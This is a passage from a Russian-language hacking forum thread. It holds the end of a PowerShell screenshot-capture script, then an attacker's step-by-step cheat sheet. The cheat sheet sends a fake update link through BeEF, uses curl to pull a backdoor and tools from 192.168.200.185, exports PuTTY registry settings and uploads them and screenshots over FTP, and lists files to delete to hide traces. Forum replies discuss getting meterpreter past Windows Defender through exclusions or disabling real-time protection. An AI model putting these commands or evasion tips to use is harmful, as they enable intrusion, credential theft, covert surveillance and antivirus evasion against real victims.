      IntPtr hdcSrc = User32.GetWindowDC(handle);
      // get the size
      User32.RECT windowRect = new User32.RECT();
      User32.GetWindowRect(handle,ref windowRect);
      int width = windowRect.right - windowRect.left;
      int height = windowRect.bottom - windowRect.top;
      // create a device context we can copy to
      IntPtr hdcDest = GDI32.CreateCompatibleDC(hdcSrc);
      // create a bitmap we can copy it to,
      // using GetDeviceCaps to get the width/height
      IntPtr hBitmap = GDI32.CreateCompatibleBitmap(hdcSrc,width,height);
      // select the bitmap object
      IntPtr hOld = GDI32.SelectObject(hdcDest,hBitmap);
      // bitblt over
      GDI32.BitBlt(hdcDest,0,0,width,height,hdcSrc,0,0,GDI32.SRCCOPY);
      // restore selection
      GDI32.SelectObject(hdcDest,hOld);
      // clean up
      GDI32.DeleteDC(hdcDest);
      User32.ReleaseDC(handle,hdcSrc);
      // get a .NET image object for it
      Image img = Image.FromHbitmap(hBitmap);
      // free up the Bitmap object
      GDI32.DeleteObject(hBitmap);
      return img;
    }
    /// <summary>
    /// Captures a screen shot of the active window, and saves it to a file
    /// </summary>
    /// <param name="filename"></param>
    /// <param name="format"></param>
    public void CaptureActiveWindowToFile(string filename, ImageFormat format)
    {
      Image img = CaptureActiveWindow();
      img.Save(filename,format);
    }
    /// <summary>
    /// Captures a screen shot of the entire desktop, and saves it to a file
    /// </summary>
    /// <param name="filename"></param>
    /// <param name="format"></param>
    public void CaptureScreenToFile(string filename, ImageFormat format)
    {
      Image img = CaptureScreen();
      img.Save(filename,format);
    }     
    
    /// <summary>
    /// Helper class containing Gdi32 API functions
    /// </summary>
    private class GDI32
    {
      
      public const int SRCCOPY = 0x00CC0020; // BitBlt dwRop parameter
      [DllImport("gdi32.dll")]
      public static extern bool BitBlt(IntPtr hObject,int nXDest,int nYDest,
        int nWidth,int nHeight,IntPtr hObjectSource,
        int nXSrc,int nYSrc,int dwRop);
      [DllImport("gdi32.dll")]
      public static extern IntPtr CreateCompatibleBitmap(IntPtr hDC,int nWidth,
        int nHeight);
      [DllImport("gdi32.dll")]
      public static extern IntPtr CreateCompatibleDC(IntPtr hDC);
      [DllImport("gdi32.dll")]
      public static extern bool DeleteDC(IntPtr hDC);
      [DllImport("gdi32.dll")]
      public static extern bool DeleteObject(IntPtr hObject);
      [DllImport("gdi32.dll")]
      public static extern IntPtr SelectObject(IntPtr hDC,IntPtr hObject);
    }
 
    /// <summary>
    /// Helper class containing User32 API functions
    /// </summary>
    private class User32
    {
      [StructLayout(LayoutKind.Sequential)]
      public struct RECT
      {
        public int left;
        public int top;
        public int right;
        public int bottom;
      }
      [DllImport("user32.dll")]
      public static extern IntPtr GetDesktopWindow();
      [DllImport("user32.dll")]
      public static extern IntPtr GetWindowDC(IntPtr hWnd);
      [DllImport("user32.dll")]
      public static extern IntPtr ReleaseDC(IntPtr hWnd,IntPtr hDC);
      [DllImport("user32.dll")]
      public static extern IntPtr GetWindowRect(IntPtr hWnd,ref RECT rect);
      [DllImport("user32.dll")]
      public static extern IntPtr GetForegroundWindow();       
    }
  }
}
'@
#User Add-Type to import the code
add-type $code -ReferencedAssemblies 'System.Windows.Forms','System.Drawing'
#Create the object for the Function
$capture = New-Object ScreenShotDemo.ScreenCapture
 
#Take screenshot of the entire screen
If ($Screen) {
    Write-Verbose "Taking screenshot of entire desktop"
    #Save to a file
    If ($file) {
        If ($file -eq "") {
            $file = "$pwd\image.bmp"
            }
        Write-Verbose "Creating screen file: $file with imagetype of $imagetype"
        $timer = (Get-Date -Format yyyy-MM-dd-HH_mm_ss)
        $file = "screen_" + $timer + ".jpg"
        Write-Host $file   
        $capture.CaptureScreenToFile($file,$imagetype)
        }
    ElseIf ($print) {
        $img = $Capture.CaptureScreen()
        $pd = New-Object System.Drawing.Printing.PrintDocument
        $pd.Add_PrintPage({$_.Graphics.DrawImage(([System.Drawing.Image]$img), 0, 0)})
        $pd.Print()
        }         
    Else {
        $capture.CaptureScreen()
        }
    }
#Take screenshot of the active window     
If ($ActiveWindow) {
    Write-Verbose "Taking screenshot of the active window"
    #Save to a file
    If ($file) {
        If ($file -eq "") {
            $file = "$pwd\image.bmp"
            }
        Write-Verbose "Creating activewindow file: $file with imagetype of $imagetype"
    
        $capture.CaptureActiveWindowToFile($file,$imagetype)
        }
    ElseIf ($print) {
        $img = $Capture.CaptureActiveWindow()
        $pd = New-Object System.Drawing.Printing.PrintDocument
        $pd.Add_PrintPage({$_.Graphics.DrawImage(([System.Drawing.Image]$img), 0, 0)})
        $pd.Print()
        }         
    Else {
        $capture.CaptureActiveWindow()
        }     
    }     
}   
Take-ScreenShot
Шпаргалка для каждого из этапов

Код:
Подготовленная ссылка на апдейт, будет отправлена через BeeF
http://192.168.200.185:443/update.exe

psh-Команда заливки бекдора
Start-Process -NoNewWindow -FilePath "curl" -ArgumentList "http://192.168.200.185:443/s.exe","--output s.exe"

psh-команда запуска скаченного бекдора
& 'C:\Users\Support\Downloads\s.exe'

Загрузка скриншотера
curl http://192.168.200.185:443/scr.ps1 --output scr.ps1

Запуск скриншотера (один запуск - один скриншот)
powershell -ep Bypass C:\Users\Support\Downloads\scr.ps1

скрипт для залифки скриншотов на фтп
curl http://192.168.200.185:443/scrup.txt --output scrup.txt

команда заливки скриншотов на фтп
ftp -i -s:scrup.txt

экспорт ветки реестра с настройками putty
regedit /e C:\Users\Support\Downloads\putty.reg HKEY_CURRENT_USER\Software\SimonTatham

закгрузка скрипта для закачки ключа на фтп
curl http://192.168.200.185:443/key.txt --output key.txt

команда на загрузку ключа на фтп
ftp -i -s:key.txt

зачистка следов, список файлов для удаления

s.exe
scr.ps1
scrup.txt
jpg
putty.reg
key.txt
update.exe
 
TrevorReznik

TrevorReznik

Member
27.12.2016
14
21
Статью прочитал запоем. Вопрос почему возникла проблема с запуском meterpreter сессии? Как вариант повысить привилегии, и через powershell отключить realtimemonitor у "Защитника" (на данный момент это закрытая дверь).
 
  • Нравится
Реакции: b0d
b0d

b0d

Active member
02.11.2019
35
57
Вопрос почему возникла проблема с запуском meterpreter сессии? Как вариант повысить привилегии, и через powershell отключить realtimemonitor у "Защитника" (на данный момент это закрытая дверь).
возникла потому что дефендер палить метерпретер видимо по поведению. я слишком много времени убил на обход дефендера и начал пропадать запал:) поэтому решил просить все и сделать олдскульно, cmd, скрипты и фтп.
про вырубание защитника, кстати, я заумывался, но потом решил что у юзера будет вылетать уведомление центра защиты что мол вырублен АВ и будет запал, поэтому забил.

Статью прочитал запоем.
рад что понравилось)
 
TrevorReznik

TrevorReznik

Member
27.12.2016
14
21
Как вариант... можно было добавить в исключения папку и процесс, все "опасные" вызовы также будут палиться, но met будет работать
 
Мы в соцсетях: